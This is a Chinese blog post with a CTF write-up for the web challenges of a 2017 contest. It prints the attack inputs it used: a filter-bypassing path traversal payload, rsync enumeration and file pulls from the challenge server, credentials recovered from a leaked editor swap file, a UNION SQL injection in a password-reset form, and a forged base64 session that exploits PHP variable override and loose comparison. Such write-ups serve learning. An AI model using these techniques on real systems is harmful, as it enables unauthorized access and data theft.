sky's blog

安恒秋季测试赛web部分wp

字数统计: 1,318阅读时长: 6 min
2017/10/12 Share

babywaf

首先抓包,然后在file中测试:

1
2
3
4
5
file = test.txt(正常回显)
file = te.st.txt(错误回显)
file = te..st.txt(正常回显)
file = te/st.txt(错误回显)
file = te<st.txt(正常回显)

容易发现,..,<都被过滤了,根据题目提示:flag在/flag
所以可以轻松构造payload:
file=.<./.<./.<./.<./.<./flag
通过<过滤的特点,轻松返回上级目录(主要原因是只过滤了一次,造成了这种问题)
最后得到flag:
flag{To0_young_2_simple!}

服务发现

这题去扫端口,扫了前1000个,得到:

1
2
3
118.178.18.181: 22
118.178.18.181: 80
118.178.18.181: 873

发现873端口打开,去搜了一下发现是rsync同步造成的问题
附上学习链接:

1
http://www.0-sec.org/2017/02/02/rsync%EF%BC%88873%E7%AB%AF%E5%8F%A3%EF%BC%89%E6%BC%8F%E6%B4%9E/?d=1

然后打开了kali:

1
2
root@sky:~# rsync 118.178.18.181::
source code

发现有source code这个文件夹
然后进一步查看

1
2
3
4
root@sky:~# rsync 118.178.18.181::"source code"
drwxr-xr-x 4,096 2017/06/14 13:01:20 .
-rw-r--r-- 44 2017/06/14 13:01:20 flag.php
-rw-r--r-- 26 2017/06/14 13:01:20 index.php

这里注意,shell不能有空格,所以要用双引号引起来

1
2
3
4
5
6
7
8
9
root@sky:~# rsync -avz 118.178.18.181::"source code" /home/flag
receiving incremental file list
created directory /home/flag
./
flag.php
index.php

sent 65 bytes received 220 bytes 190.00 bytes/sec
total size is 70 speedup is 0.25

然后内容就被你同步到了你本机的home/flag文件夹了

1
2
3
4
5
6
root@sky:~# cd /home/flag
root@sky:/home/flag# ls
flag.php index.php
root@sky:/home/flag# cat flag.php
<?php
$flag = "flag{rsync_i5_very_useful!}";

然后进这个文件夹拿flag即可~

编辑器的锅

存在文件泄露:http://114.55.36.69:20380/.login.php.swp
恢复源码后得到:(这里我只给出了关键部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if($_SERVER["REQUEST_METHOD"]=="POST"){

$userin=$_POST["name"];
$passin=$_POST["password"];

if ($userin=="admin94wo"){
if($passin=="ca1buda0mima7ah4ha"){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}else{
echo "用户名或密码错误";
}
}else {
echo "GET or POST plz!";
}

很显然是个傻子题……给了你账号,密码了,登录即可拿到flag:flag{b4ckup_1s_normal}

findpsw

这题主要靠执念于心和rebirthwyw的无敌操作
首先执念于心发现了文件泄露:
http://118.178.18.181:20880/nbproject/private/private.xml
得到泄露:

1
2
3
4
5
6
7
8
9
10
11
12
<project-private xmlns="http://www.netbeans.org/ns/project-private/1">
<editor-bookmarks xmlns="http://www.netbeans.org/ns/editor-bookmarks/2" lastBookmarkId="0"/>
<open-files xmlns="http://www.netbeans.org/ns/projectui-open-files/2">
<group>
<file>file:/var/www/html/fuckbean/index.php</file>
<file>
file:/var/www/html/fuckbean/f1ndmyp4ssw0rdnineverno.php
</file>
<file>file:/var/www/html/fuckbean/1.sql</file>
</group>
</open-files>
</project-private>

然后可以得到一个sql和一个密码找回页面:

1
2
3
4
5
6
7
8
9
10
11
drop database if exists fuckbean;
create database fuckbean;
use fuckbean;
create table users(
id int(5),
username varchar(20),
password varchar(32),
mail varchar(50)
);
insert into users values(1,"admin","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","admin@admin.com");
grant all privileges on fuckbean.* to fuckbean@localhost identified by 'fuckbean';

可见有一个users表和管理员邮箱
然后开始测试这个密码找回页面:

1
2
3
4
5
6
mail = admin@admin.com(新的密码已经发送到您的邮箱admin@admin.com,请查收)
mail = admin(非法邮箱,请重试)
mail = 123@admin.com(邮箱不存在,请重试)
mail = =@admin.com(非法邮箱,请重试)
mail = "@admin.com(非法邮箱,请重试)
mail = '@admin.com(邮箱不存在,请重试)

到这里基本发现了规律,必须以@admin.com结尾,然后可以fuzz一波过滤如果没被过滤,则回显邮箱不存在,如果被过滤了,则回显非法邮箱。
然后后来试了一些注入都不行,最后wyw大佬,一招致命:

1
2
mail=' union select 1,2,3,4 -- @admin.com
(新的密码已经发送到您的邮箱4,请查收)

这样就很明了了,这个4只要填你的邮箱即可,于是16进制后把邮箱填进去,flag就到了你邮箱了~
(没有的去看看垃圾箱,我的就在垃圾箱里= =)
flag:flag{Find_passw0rd_not_e4sy}

babylogin

题目直接给了源码,直接看重点

1
2
3
4
foreach (array('_GET','_POST','_COOKIE') as $key) {
foreach ($$key as $key2 => $value) {
$_GPC[$key2]=$value;
}

这里存在严重的变量覆盖问题,再看下面

1
2
3
4
5
6
7
8
9
10
11
12
$session = json_decode(base64_decode($_GPC['__session']), true);
if (is_array($session)){
$user = find_user_by_uid($session['uid']);
if(is_array($user) && $session['hash'] == $user['password']){
$_SESSION["login"]=1;
$_SESSION["userin"]=$userin;
header("Location: admin.php");
exit();
}else{
echo "用户名或密码错误";
}
}

这样我们就可以利用$__session这个变量进行变量覆盖,这样$session就成了可控元素,那么现在的问题就是绕过下面的检测:
我们的目的:
uid=1
hash=password
那么问题来了,uid=1很简单,hash=password怎么做到呢?这里明显是一个弱比较,所以hash=true即可
true == password一定为真
然后构造了一个base64+jsonencode的payload
构造脚本:

1
2
3
4
5
6
<?php
$__session = array ('uid'=>1,'hash'=>true);
$__session = json_encode($__session);
$__session = base64_encode($__session);
echo $__session;
?>

然后post参数:
__session=eyJ1aWQiOjEsImhhc2giOnRydWV9
即可302跳转到admin.php拿到flag:flag{phP_1s_s0_fun}

babysql

这里先不在这里说,以后会专门开博客分析的~~
此题very good

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. babywaf
  2. 2. 服务发现
  3. 3. 编辑器的锅
  4. 4. findpsw
  5. 5. babylogin
  6. 6. babysql